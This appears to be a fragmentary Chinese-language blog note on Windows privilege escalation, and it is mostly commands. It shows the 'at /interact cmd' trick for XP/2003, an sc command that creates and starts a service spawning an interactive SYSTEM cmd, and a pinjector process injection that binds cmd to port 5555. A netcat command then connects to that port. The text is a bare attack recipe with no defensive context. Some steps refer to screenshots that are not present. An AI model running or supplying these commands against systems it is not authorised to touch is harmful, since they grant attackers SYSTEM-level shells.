windows提權

標籤：bin   進程   water   log   window   roc   rac   path   shadow   

PsExec

at

Process_Injector

sc

psexec

目前使用者是jh

提權之後

*at命令提權（適用於xp，2003）

at 15:05 /interact cmd  

sc

建立服務(開啟cmd命令視窗的服務)

    sc Create systemcmd binPath= "cmd /K start" type= own type= interact

啟動服務剛才建立的服務

    sc start systemcmd

process_injector

列出當前的所有進程

pinjector.exe -l

選擇要提權成的使用者，進行進程注入

pinjector.exe -p 732 cmd 5555   #服務端實現進程注入nc -nv 10.10.10.19 5555    # 用戶端串連服務端

windows提權